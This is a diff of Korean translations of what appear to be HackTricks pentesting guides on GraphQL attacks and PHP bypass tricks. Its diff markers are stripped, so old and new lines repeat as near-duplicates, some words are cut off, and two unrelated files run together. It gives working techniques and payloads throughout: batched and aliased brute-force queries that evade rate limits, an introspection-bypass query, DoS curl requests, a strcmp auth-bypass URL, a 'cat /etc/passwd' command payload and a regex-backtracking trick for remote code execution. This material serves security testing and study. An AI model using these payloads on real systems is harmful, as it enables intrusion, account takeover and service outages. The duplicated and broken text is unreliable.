문자열 타입으로 검색할 수 있다면, 예를 들어: `query={theusers(description: ""){username,password}}`와 같이 **빈 문자열**을 검색하면 **모든 데이터를 덤프**합니다. (_이 예제는 튜토리얼의 예제와 관련이 없으니, 이 예제에서는 "**theusers**"를 "**description**"이라는 문자열 필드로 검색할 수 있다고 가정하세요_).
문자열 타입으로 검색할 수 있다면, 예를 들어: `query={theusers(description: ""){username,password}}`와 같이 **빈 문자열**을 **검색**하면 **모든 데이터****덤프**합니다. (_이 예제는 튜토리얼의 예제와 관련이 없으므로, 이 예제에서는 "**description**"이라는 문자열 필드를 사용하여 "**theusers**"를 검색할 수 있다고 가정합니다_).
### 검색
이 설정에서, **데이터베이스**는 **사람들**과 **영화**를 포함합니다. **사람들**은 그들의 **이메일**과 **이름**으로 식별되며; **영화**는 그들의 **이름**과 **평점**으로 식별됩니다. **사람들**은 서로 친구가 될 수 있으며, 또한 영화가 있어 데이터베이스 내의 관계를 나타냅니다.
당신은 **이름**으로 사람들을 **검색**하고 그들의 이메일을 얻을 수 있습니다:
이름으로 사람들을 **검색**하고 그들의 이메일을 가져올 수 있습니다:
```javascript
{
searchPerson(name: "John Doe") {
@ -248,7 +248,7 @@ name
}
}
```
`subscribedMovies`의 `name`을 가져오는 방법이 표시되어 있습니다.
`name`을 가져오는 방법은 `subscribedMovies`의 사람을 나타냅니다.
여러 개의 객체를 **동시에 검색할 수 있습니다**. 이 경우, 2개의 영화를 검색합니다:
```javascript
@ -281,17 +281,17 @@ name
}
}
```
### Mutations
### 변형
**변은 서버 측에서 변경을 수행하는 데 사용됩니다.**
**변은 서버 측에서 변경을 수행하는 데 사용됩니다.**
**인트로스펙션**에서 **선언된** **변**을 찾을 수 있습니다. 다음 이미지에서 "_MutationType_"은 "_Mutation_"이라고 하며, "_Mutation_" 객체는 변의 이름(이 경우 "_addPerson_")을 포함합니다:
**인트로스펙션**에서 **선언된** **변**을 찾을 수 있습니다. 다음 이미지에서 "_MutationType_"은 "_Mutation_"이라고 하며, "_Mutation_" 객체는 변의 이름(이 경우 "_addPerson_")을 포함합니다:
![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>)
이 설정에서 **데이터베이스**는 **사람**과 **영화**를 포함합니다. **사람**은 **이메일**과 **이름**으로 식별되며, **영화**는 **이름**과 **평점**으로 식별됩니다. **사람**은 서로 친구가 될 수 있으며, 데이터베이스 내의 관계를 나타내는 영화를 가질 수 있습니다.
이 설정에서 **데이터베이스**는 **사람**과 **영화**를 포함합니다. **사람**은 **이메일**과 **이름**으로 식별되며, **영화**는 **이름**과 **평점**으로 식별됩니다. **사람**은 서로 친구가 될 수 있으며, 데이터베이스 내의 관계를 나타내는 영화를 가질 수 있습니다.
데이터베이스 내에서 **새로운** 영화를 **생성하는**경은 다음과 같을 수 있습니다(이 예제에서 변경`addMovie`라고 합니다):
데이터베이스 내에서 **새로운** 영화를 **생성하는**형은 다음과 같을 수 있습니다(이 예에서 변형`addMovie`라고 합니다):
```javascript
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
@ -304,7 +304,7 @@ rating
```
**쿼리에서 데이터의 값과 유형이 어떻게 표시되는지 주목하세요.**
또한, 데이터베이스는 `addPerson`이라는 **변경** 작업을 지원하며, 이를 통해 기존 **친구** 및 **영화**와의 연관성을 가진 **사람**을 생성할 수 있습니다. 친구와 영화는 새로 생성된 사람과 연결하기 전에 데이터베이스에 미리 존재해야 한다는 점이 중요합니다.
또한, 데이터베이스는 `addPerson`이라는 **변경** 작업을 지원하며, 이를 통해 **사람**을 생성하고 기존 **친구** 및 **영화**와의 연관성을 설정할 수 있습니다. 친구와 영화는 새로 생성된 사람과 연결하기 전에 데이터베이스에 미리 존재해야 한다는 점이 중요합니다.
```javascript
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
@ -339,7 +339,7 @@ releaseYear
### Batching brute-force in 1 API request
이 정보는 [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)에서 가져왔습니다.\
GraphQL API를 통해 **다양한 자격 증명을 가진 많은 쿼리를 동시에 전송하여 인증**을 확인합니다. 이는 고전적인 brute force 공격이지만, 이제 GraphQL batching 기능 덕분에 HTTP 요청당 하나 이상의 로그인/비밀번호 쌍을 보낼 수 있습니다. 이 접근 방식은 외부 속도 모니터링 애플리케이션을 속여 모든 것이 잘 되고 있으며 비밀번호를 추측하려는 brute-forcing 봇이 없다고 생각하게 만듭니다.
GraphQL API를 통해 **다양한 자격 증명을 가진 많은 쿼리를 동시에 전송하여 인증**을 확인합니다. 이는 고전적인 brute force 공격이지만, 이제 GraphQL batching 기능 덕분에 HTTP 요청당 하나 이상의 로그인/비밀번호 쌍을 보낼 수 있습니다. 이 접근 방식은 외부 속도 모니터링 애플리케이션을 속여 모든 것이 잘되고 있으며 비밀번호를 추측하려는 brute-forcing 봇이 없다고 생각하게 만듭니다.
아래는 **한 번에 3개의 서로 다른 이메일/비밀번호 쌍**을 가진 애플리케이션 인증 요청의 가장 간단한 시연입니다. 분명히 같은 방식으로 단일 요청에서 수천 개를 보낼 수 있습니다:
@ -353,13 +353,13 @@ GraphQL API를 통해 **다양한 자격 증명을 가진 많은 쿼리를 동
점점 더 많은 **graphql 엔드포인트가 introspection을 비활성화**하고 있습니다. 그러나 예상치 못한 요청이 수신될 때 graphql이 발생시키는 오류는 [**clairvoyance**](https://github.com/nikitastupin/clairvoyance)와 같은 도구가 스키마의 대부분을 재구성하는 데 충분합니다.
게다가, Burp Suite 확장 프로그램 [**GraphQuail**](https://github.com/forcesunseen/graphquail)은 **Burp를 통해 GraphQL API 요청을 관찰하고** **각 새로운 쿼리와 함께** 내부 GraphQL **스키마를 구축**합니다. 또한 GraphiQL 및 Voyager를 위한 스키마를 노출할 수 있습니다. 이 확장 프로그램은 introspection 쿼리를 수신할 때 가짜 응답을 반환합니다. 결과적으로 GraphQuail은 API 내에서 사용할 수 있는 모든 쿼리, 인수 및 필드를 보여줍니다. 더 많은 정보는 [**여기서 확인하세요**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
게다가, Burp Suite 확장 프로그램 [**GraphQuail**](https://github.com/forcesunseen/graphquail)은 **Burp를 통해 GraphQL API 요청을 관찰하고** **각 새로운 쿼리와 함께** 내부 GraphQL **스키마를 구축**합니다. 또한 GraphiQL 및 Voyager를 위한 스키마를 노출할 수 있습니다. 이 확장은 introspection 쿼리를 수신할 때 가짜 응답을 반환합니다. 결과적으로 GraphQuail은 API 내에서 사용할 수 있는 모든 쿼리, 인수 및 필드를 보여줍니다. 더 많은 정보는 [**여기서 확인하세요**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
멋진 **단어 목록**은 [**GraphQL 엔티티를 발견하는 데 사용할 수 있습니다**](https://github.com/Escape-Technologies/graphql-wordlist?).
멋진 **단어 목록**을 통해 [**GraphQL 엔티티를 발견할 수 있습니다**](https://github.com/Escape-Technologies/graphql-wordlist?).
### Bypassing GraphQL introspection defences <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
API에서 introspection 쿼리에 대한 제한을 우회하기 위해, **`__schema` 키워드 뒤에 특수 문자를 삽입하는** 것이 효과적입니다. 이 방법은 introspection을 차단하려는 정규 표현식 패턴에서 일반적인 개발자의 실수를 이용합니다. GraphQL이 무시하지만 정규 표현식에서는 고려되지 않을 수 있는 **공백, 줄 바꿈 및 쉼표**와 같은 문자를 추가함으로써 제한을 우회할 수 있습니다. 예를 들어, `__schema` 뒤에 줄 바꿈이 있는 introspection 쿼리는 이러한 방어를 우회할 수 있습니다:
API에서 introspection 쿼리에 대한 제한을 우회하기 위해, `__schema` 키워드 뒤에 **특수 문자를 삽입하는** 것이 효과적입니다. 이 방법은 introspection을 차단하려는 정규 표현식 패턴에서 일반적인 개발자의 실수를 이용합니다. GraphQL이 무시하지만 정규 표현식에서는 고려되지 않을 수 있는 **공백, 줄 바꿈 및 쉼표**와 같은 문자를 추가함으로써 제한을 우회할 수 있습니다. 예를 들어, `__schema` 뒤에 줄 바꿈이 있는 introspection 쿼리는 이러한 방어를 우회할 수 있습니다:
```bash
# Example with newline to bypass
{
@ -397,7 +397,7 @@ ws.send(JSON.stringify(graphqlMsg))
```
### **노출된 GraphQL 구조 발견하기**
introspection이 비활성화된 경우, JavaScript 라이브러리에서 미리 로드된 쿼리를 찾기 위해 웹사이트의 소스 코드를 검사하는 것 유용한 전략입니다. 이러한 쿼리는 개발자 도구의 `Sources` 탭을 사용하여 찾을 수 있으며, API의 스키마에 대한 통찰력을 제공하고 잠재적으로 **노출된 민감한 쿼리**를 드러냅니다. 개발자 도구 내에서 검색하는 명령은 다음과 같습니다:
introspection이 비활성화된 경우, JavaScript 라이브러리에서 미리 로드된 쿼리를 찾기 위해 웹사이트의 소스 코드를 검사하는 것 유용한 전략입니다. 이러한 쿼리는 개발자 도구의 `Sources` 탭을 사용하여 찾을 수 있으며, API의 스키마에 대한 통찰력을 제공하고 잠재적으로 **노출된 민감한 쿼리**를 드러냅니다. 개발자 도구 내에서 검색하는 명령은 다음과 같습니다:
```javascript
Inspect/Sources/"Search all files"
file:* mutation
@ -423,17 +423,17 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
```
따라서, 이전과 같은 CSRF 요청이 **사전 비행 요청 없이** 전송되기 때문에, CSRF를 악용하여 GraphQL에서 **변경**을 **수행**할 수 있습니다.
그러나 Chrome의 `samesite` 플래그의 새로운 기본 쿠키 값 `Lax`라는 점에 유의하십시오. 이는 쿠키가 GET 요청에서만 제3자 웹에서 전송된다는 것을 의미합니다.
그러나 Chrome의 `samesite` 플래그의 새로운 기본 쿠키 값 `Lax`라는 점에 유의하십시오. 이는 쿠키가 GET 요청에서만 제3자 웹에서 전송된다는 것을 의미합니다.
일반적으로 **쿼리** **요청**을 **GET** **요청**으로 전송하는 것 가능하며, GET 요청에서 CSRF 토큰이 검증되지 않을 수 있다는 점에 유의하십시오.
**쿼리** **요청**을 **GET** **요청**으로 전송하는 것이 일반적으로 가능하며, GET 요청에서 CSRF 토큰이 검증되지 않을 수 있다는 점에 유의하십시오.
또한, [**XS-Search**](../../pentesting-web/xs-search/index.html) **공격**을 악용하면 사용자의 자격 증명을 이용하여 GraphQL 엔드포인트에서 콘텐츠를 유출할 수 있습니다.
또한, [**XS-Search**](../../pentesting-web/xs-search/index.html) **공격**을 악용하여 사용자의 자격 증명을 이용해 GraphQL 엔드포인트에서 콘텐츠를 유출할 수 있습니다.
자세한 내용은 [**원본 게시물 확인**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)하십시오.
자세한 내용은 [**여기 원본 게시물 확인**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)하십시오.
## GraphQL에서의 교차 사이트 WebSocket 하이재킹
GraphQL을 악용하는 CRSF 취약점과 유사하게, **보호되지 않은 쿠키로 GraphQL 인증을 악용하기 위한 교차 사이트 WebSocket 하이재킹을 수행하고 사용자가 GraphQL에서 예상치 못한 작업을 수행하게 할 수 있습니다.**
GraphQL의 CRSF 취약점을 악용하는 것과 유사하게, **보호되지 않은 쿠키로 GraphQL 인증을 악용하기 위한 교차 사이트 WebSocket 하이재킹을 수행하고 사용자가 GraphQL에서 예상치 못한 작업을 수행하게 할 수 있습니다.**
자세한 내용은 확인하십시오:
@ -443,7 +443,7 @@ GraphQL을 악용하는 CRSF 취약점과 유사하게, **보호되지 않은
## GraphQL에서의 권한 부여
엔드포인트에 정의된 많은 GraphQL 기능은 요청자의 인증만 확인하고 권한 부여는 확인하지 않을 수 있습니다.
엔드포인트에 정의된 많은 GraphQL 함수는 요청자의 인증만 확인하고 권한 부여는 확인하지 않을 수 있습니다.
쿼리 입력 변수를 수정하면 민감한 계정 세부 정보가 [유출](https://hackerone.com/reports/792927)될 수 있습니다.
@ -459,17 +459,17 @@ GraphQL을 악용하는 CRSF 취약점과 유사하게, **보호되지 않은
[쿼리 체이닝](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)을 통해 약한 인증 시스템을 우회할 수 있습니다.
아래 예제에서 작업은 "forgotPassword"이며, 이는 해당 쿼리만 실행해야 합니다. 그러나 쿼리를 끝에 추가함으로써 이를 우회할 수 있으며, 이 경우 "register"와 시스템이 새로운 사용자로 등록할 수 있도록 하는 사용자 변수를 추가합니다.
아래 예제에서 작업은 "forgotPassword"이며, 이는 해당 쿼리만 실행해야 합니다. 그러나 쿼리를 끝에 추가함으로써 우회할 수 있으며, 이 경우 "register"와 시스템이 새로운 사용자로 등록할 수 있도록 사용자 변수를 추가합니다.
<figure><img src="../../images/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
## GraphQL에서 별칭을 사용한 속도 제한 우회
GraphQL에서 별칭은 API 요청 시 **속성을 명시적으로 이름 지정**할 수 있는 강력한 기능입니다. 이 기능은 **단일 요청 내에서 동일한 유형**의 객체 여러 인스턴스를 검색하는 데 특히 유용합니다. 별칭을 사용하면 GraphQL 객체가 동일한 이름을 가진 여러 속성을 가질 수 없다는 제한을 극복할 수 있습니다.
GraphQL에서 별칭은 API 요청 시 **속성을 명시적으로 이름 지정**할 수 있는 강력한 기능입니다. 이 기능은 **단일 요청 내에서 동일한 유형**의 객체 여러 인스턴스를 검색하는 데 특히 유용합니다. 별칭은 GraphQL 객체가 동일한 이름을 가진 여러 속성을 가질 수 없도록 하는 제한을 극복하는 데 사용될 수 있습니다.
GraphQL 별칭에 대한 자세한 이해를 위해 다음 리소스를 추천합니다: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
별칭의 주요 목적은 많은 API 호출의 필요성을 줄이는 것이지만, 별칭을 사용하여 GraphQL 엔드포인트에 대한 무차별 대입 공격을 실행할 수 있는 의도치 않은 사용 사례가 확인되었습니다. 이는 일부 엔드포인트가 **HTTP 요청 수**를 제한하여 무차별 대입 공격을 저지하기 위해 설계된 속도 제한기로 보호되기 때문입니다. 그러나 이러한 속도 제한기는 각 요청 내의 작업 수를 고려하지 않을 수 있습니다. 별칭을 사용하면 단일 HTTP 요청에 여러 쿼리를 포함할 수 있으므로 이러한 속도 제한 조치를 우회할 수 있습니다.
별칭의 주요 목적은 많은 API 호출의 필요성을 줄이는 것이지만, 별칭을 사용하여 GraphQL 엔드포인트에 대한 무차별 대입 공격을 실행할 수 있는 의도치 않은 사용 사례가 확인되었습니다. 이는 일부 엔드포인트가 **HTTP 요청 수**를 제한하여 무차별 대입 공격을 저지하기 위해 설계된 속도 제한기로 보호되기 때문입니다. 그러나 이러한 속도 제한기는 각 요청 내의 작업 수를 고려하지 않을 수 있습니다. 별칭을 사용하면 단일 HTTP 요청에 여러 쿼리를 포함할 수 있으므로 이러한 속도 제한 조치를 우회할 수 있습니다.
아래 제공된 예제를 고려해 보십시오. 이 예제는 별칭 쿼리를 사용하여 상점 할인 코드의 유효성을 확인하는 방법을 보여줍니다. 이 방법은 여러 쿼리를 하나의 HTTP 요청으로 컴파일하므로 속도 제한을 우회할 수 있으며, 동시에 여러 할인 코드를 확인할 수 있습니다.
```bash
@ -490,7 +490,7 @@ valid
### Alias Overloading
**Alias Overloading**는 공격자가 동일한 필드에 대해 많은 별칭으로 쿼리를 과부하하여 백엔드 리졸버가 해당 필드를 반복적으로 실행하게 만드는 GraphQL 취약점입니다. 이로 인해 서버 리소스가 과부하되어 **서비스 거부(DoS)**로 이어질 수 있습니다. 예를 들어, 아래 쿼리에서 동일한 필드(`expensiveField`)가 별칭을 사용하여 1,000번 요청되어 백엔드가 이를 1,000번 계산하게 하여 CPU나 메모리를 소진할 수 있습니다:
**Alias Overloading**는 공격자가 동일한 필드에 대해 많은 별칭으로 쿼리를 과부하하여 백엔드 리졸버가 해당 필드를 반복적으로 실행하게 만드는 GraphQL 취약점입니다. 이로 인해 서버 리소스가 과부하되어 **서비스 거부(DoS)**로 이어질 수 있습니다. 예를 들어, 아래 쿼리에서 동일한 필드(`expensiveField`)가 별칭을 사용하여 1,000번 요청되어 백엔드가 이를 1,000번 계산하게 하여 CPU나 메모리를 소진할 수 있습니다:
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
@ -501,7 +501,7 @@ curl -X POST -H "Content-Type: application/json" \
### **배열 기반 쿼리 배치**
**배열 기반 쿼리 배치**는 GraphQL API가 단일 요청에서 여러 쿼리를 배치할 수 있도록 허용하는 취약점으로, 공격자가 동시에 많은 수의 쿼리를 보낼 수 있게 합니다. 이는 모든 배치된 쿼리를 병렬로 실행하여 백엔드를 압도할 수 있으며, 과도한 리소스(CPU, 메모리, 데이터베이스 연결)를 소모하고 잠재적으로 **서비스 거부(DoS)**로 이어질 수 있습니다. 배치 내 쿼리 수에 대한 제한이 없면, 공격자는 이를 악용하여 서비스 가용성을 저하시킬 수 있습니다.
**배열 기반 쿼리 배치**는 GraphQL API가 단일 요청에서 여러 쿼리를 배치할 수 있도록 허용하는 취약점으로, 공격자가 동시에 많은 수의 쿼리를 보낼 수 있게 합니다. 이는 모든 배치된 쿼리를 병렬로 실행하여 백엔드를 압도할 수 있으며, 과도한 리소스(CPU, 메모리, 데이터베이스 연결)를 소모하고 잠재적으로 **서비스 거부(DoS)**로 이어질 수 있습니다. 배치 내 쿼리 수에 대한 제한이 없면, 공격자는 이를 악용하여 서비스 가용성을 저하시킬 수 있습니다.
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
@ -513,7 +513,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
### **지시문 과부하 취약점**
**지시문 과부하**는 GraphQL 서버가 과도하고 중복된 지시문을 허용할 때 발생합니다. 이는 서버의 파서와 실행기를 압도할 수 있으며, 특히 서버가 동일한 지시문 로직을 반복적으로 처리할 경우 더욱 그렇습니다. 적절한 검증이나 제한이 없으면, 공격자는 수많은 중복 지시문으로 쿼리를 작성하여 높은 계산 또는 메모리 사용을 유발하여 **서비스 거부(DoS)**를 초래할 수 있습니다.
**지시문 과부하**는 GraphQL 서버가 과도하게 중복된 지시문을 포함한 쿼리를 허용할 때 발생합니다. 이는 서버의 파서와 실행기를 압도할 수 있으며, 특히 서버가 동일한 지시문 로직을 반복적으로 처리할 경우 더욱 그렇습니다. 적절한 검증이나 제한이 없으면, 공격자는 수많은 중복 지시문을 포함한 쿼리를 작성하여 높은 계산 또는 메모리 사용을 유발하여 **서비스 거부(DoS)**를 초래할 수 있습니다.
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
@ -535,7 +535,7 @@ curl -X POST \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'
```
그리고 **사용자 정의** 항목 중 일부를 사용합니다.
그리고 **사용자 정의 항목 중 일부를 사용합니다.**
### **필드 중복 취약점**
@ -554,11 +554,11 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): 배치 GraphQL 쿼리 및 변형 수행에 중점을 둔 GraphQL 보안 감사 스크립트.
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): 사용 중인 graphql 지문 인식
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): 스키마를 가져오고 민감한 데이터 검색, 권한 테스트, 스키마 무차별 대입 및 특정 유형에 대한 경로 찾기에 사용할 수 있는 도구 키트.
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): 독립형으로 사용하거나 [Burp extension](https://github.com/doyensec/inql)으로 사용할 수 있습니다.
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): CLI 클라이언트로도 사용하여 공격을 자동화할 수 있습니다.
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): 독립형으로 사용하거나 [Burp 확장](https://github.com/doyensec/inql)으로 사용할 수 있습니다.
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): CLI 클라이언트로도 사용 가능하며 공격 자동화: `python3 graphqlmap.py -u http://example.com/graphql --inject`
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): **GraphQL 스키마에서 특정 유형에 도달하는 다양한 방법을 나열하는 도구**.
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Standalone 및 CLI 모드의 후계자 InQL
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 고급 GraphQL 테스트를 위한 Burp 확장. _**Scanner**_는 InQL v5.0의 핵심으로, GraphQL 엔드포인트 또는 로컬 introspection 스키마 파일을 분석할 수 있습니다. 모든 가능한 쿼리와 변형을 자동 생성하여 분석을 위한 구조화된 보기로 정리합니다. _**Attacker**_ 구성 요소는 배치 GraphQL 공격을 실행할 수 있게 해주며, 이는 잘못 구현된 속도 제한을 우회하는 데 유용할 수 있습니다.
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): InQL의 독립형 및 CLI 모드의 후계자
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 고급 GraphQL 테스트를 위한 Burp 확장 또는 파이썬 스크립트. _**스캐너**_는 InQL v5.0의 핵심으로, GraphQL 엔드포인트 또는 로컬 introspection 스키마 파일을 분석할 수 있습니다. 모든 가능한 쿼리와 변형을 자동 생성하여 분석을 위한 구조화된 보기로 정리합니다. _**공격자**_ 구성 요소는 배치 GraphQL 공격을 실행할 수 있게 해주며, 이는 잘못 구현된 속도 제한을 우회하는 데 유용할 수 있습니다: `python3 inql.py -t http://example.com/graphql -o output.json`
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): 일부 Graphql 데이터베이스의 도움을 받아 introspection이 비활성화된 상태에서도 스키마를 얻으려고 시도합니다. 이 데이터베이스는 변형 및 매개변수의 이름을 제안합니다.
### 클라이언트

View File

@ -36,14 +36,14 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
- `"0xAAAA" == "43690" -> True` 10진수 또는 16진수 형식의 숫자로 구성된 문자열은 숫자가 동일할 경우 다른 숫자/문자열과 True로 비교될 수 있습니다 (문자열의 숫자는 숫자로 해석됩니다).
- `"0e3264578" == 0 --> True` "0e"로 시작하고 그 뒤에 어떤 것이든 오는 문자열은 0과 같습니다.
- `"0X3264578" == 0X --> True` "0"로 시작하고 그 뒤에 어떤 문자(여기서 X는 어떤 문자든 가능)와 그 뒤에 어떤 것이든 오는 문자열은 0과 같습니다.
- `"0e12334" == "0" --> True` 이는 매우 흥미로운데, 어떤 경우에는 "0"의 문자열 입력과 해시된 내용을 제어할 수 있습니다. 따라서 "0e"로 시작하고 어떤 문자도 없는 해시를 생성할 수 있는 값을 제공할 수 있다면, 비교를 우회할 수 있습니다. 이 형식의 **이미 해시된 문자열**은 여기에서 찾을 수 있습니다: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"0e12334" == "0" --> True` 이는 매우 흥미로운데, 어떤 경우에는 "0"의 문자열 입력과 해시된 내용을 제어할 수 있습니다. 따라서 "0e"로 시작하고 어떤 문자도 없는 값을 제공할 수 있다면 비교를 우회할 수 있습니다. 이 형식의 **이미 해시된 문자열**은 여기에서 찾을 수 있습니다: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"X" == 0 --> True` 문자열의 어떤 문자도 int 0과 같습니다.
자세한 정보는 [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)에서 확인할 수 있습니다.
### **in_array()**
**타입 조작**은 기본적으로 `in_array()` 함수에도 영향을 미칩니다 (엄격한 비교를 하려면 세 번째 인수를 true로 설정해야 합니다):
**타입 조작**은 기본적으로 `in_array()` 함수에도 영향을 미칩니다 (엄격한 비교를 위해 세 번째 인수를 true로 설정해야 합니다):
```php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
@ -53,7 +53,7 @@ var_dump(in_array(0, $values, true));
```
### strcmp()/strcasecmp()
이 함수가 **모든 인증 확인**(예: 비밀번호 확인)에 사용되고 사용자가 비교의 한 쪽을 제어할 경우, 그는 비밀번호의 값으로 문자열 대신 빈 배열을 보낼 수 있습니다 (`https://example.com/login.php/?username=admin&password[]=`) 그리고 이 확인을 우회할 수 있습니다:
이 함수가 **모든 인증 확인**(예: 비밀번호 확인)에 사용되면, 사용자가 비교의 한 쪽을 제어할 수 있으므로 비밀번호의 값으로 문자열 대신 빈 배열을 보낼 수 있습니다 (`https://example.com/login.php/?username=admin&password[]=`) 그리고 이 확인을 우회할 수 있습니다:
```php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
@ -64,7 +64,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
### 엄격한 타입 조작
`===`**사용되고** 있더라도 **비교가 취약해지는** 오류가 발생할 수 있습니다. 예를 들어, 비교가 **비교하기 전에 데이터를 다른 타입의 객체로 변환하는 경우**:
`===`**사용되고** 있더라도 **비교가 취약한** **타입 조작**으로 인해 오류가 발생할 수 있습니다. 예를 들어, 비교가 **비교하기 전에 데이터를 다른 타입의 객체로 변환하는 경우**:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
@ -74,7 +74,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
#### New line bypass
그러나, 정규 표현식의 시작을 구분할 때 `preg_match()`는 **사용자 입력의 첫 번째 줄만 확인**합니다. 따라서 만약 어떤 방법으로 **여러 줄** 입력을 **전송**할 수 있다면, 이 검사를 우회할 수 있습니다. 예:
그러나, 정규 표현식의 시작을 구분할 때 `preg_match()`는 **사용자 입력의 첫 번째 줄만 확인**합니다. 따라서 만약 어떤 방법으로 **여러 줄**에 걸쳐 입력을 **전송**할 수 있다면, 이 검사를 우회할 수 있습니다. 예:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
@ -93,7 +93,7 @@ echo preg_match("/^.*1.*$/",$myinput);
"cmd": "cat /etc/passwd"
}
```
여기에서 예제를 찾으세요: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
#### **길이 오류 우회**
@ -113,7 +113,7 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
간단히 말해, 문제는 PHP의 `preg_*` 함수가 [PCRE 라이브러리](http://www.pcre.org/)를 기반으로 하기 때문에 발생합니다. PCRE에서는 특정 정규 표현식이 많은 재귀 호출을 사용하여 일치되며, 이는 많은 스택 공간을 사용합니다. 허용되는 재귀 호출의 수에 제한을 설정할 수 있지만, PHP에서는 이 제한이 [기본적으로 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)으로 설정되어 있어 스택에 맞지 않습니다.
[이 Stackoverflow 스레드](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)도 이 문제에 대해 더 깊이 논의된 게시물에 링크되어 있었습니다. 우리의 작업은 이제 명확했습니다:\
**정규 표현식이 100_000회 이상의 재귀를 수행하게 만드는 입력을 전송하여 SIGSEGV를 유발하고, `preg_match()` 함수가 `false`를 반환하게 하여 애플리케이션이 우리의 입력이 악의적이지 않다고 생각하게 만들고, 페이로드의 끝에 `{system(<verybadcommand>)}`와 같은 놀라움을 던져 SSTI --> RCE --> flag :)**.
**정규 표현식이 100_000회 이상의 재귀를 수행하게 만드는 입력을 보내어 SIGSEGV를 유발하고, `preg_match()` 함수가 `false`를 반환하게 하여 애플리케이션이 우리의 입력이 악의적이지 않다고 생각하게 만든 후, 페이로드의 끝에 `{system(<verybadcommand>)}`와 같은 놀라움을 던져 SSTI --> RCE --> flag :)**.
정규 표현식 용어로, 우리는 실제로 100k "재귀"를 수행하는 것이 아니라 "백트래킹 단계"를 세고 있으며, [PHP 문서](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)에 따르면 `pcre.backtrack_limit` 변수의 기본값은 1_000_000 (1M)입니다.\
이를 달성하기 위해 `'X'*500_001`은 100만 개의 백트래킹 단계를 생성합니다 (500k 전방 및 500k 후방):
@ -133,7 +133,7 @@ $obfs += ""; //int 7
```
## Execute After Redirect (EAR)
PHP가 다른 페이지로 리디렉션하고 있지만 **`die`** 또는 **`exit`** 함수가 **헤더 `Location`**이 설정된 후 호출되지 않으면, PHP는 계속 실행되어 데이터를 본문에 추가합니다:
PHP가 다른 페이지로 리디렉션하고 있지만 **`die`** 또는 **`exit`** 함수가 **헤더 `Location`**이 설정된 후 호출되지 않으면, PHP는 계속 실행되어 데이터를 본문에 추가합니다:
```php
<?php
// In this page the page will be read and the content appended to the body of
@ -143,7 +143,7 @@ header('Location: /index.php?page=default.html');
readfile($page);
?>
```
## 경로 탐색 및 파일 포함 취약점
## Path Traversal and File Inclusion Exploitation
Check:
@ -151,18 +151,19 @@ Check:
../../../pentesting-web/file-inclusion/
{{#endref}}
## 더 많은 트릭
## More tricks
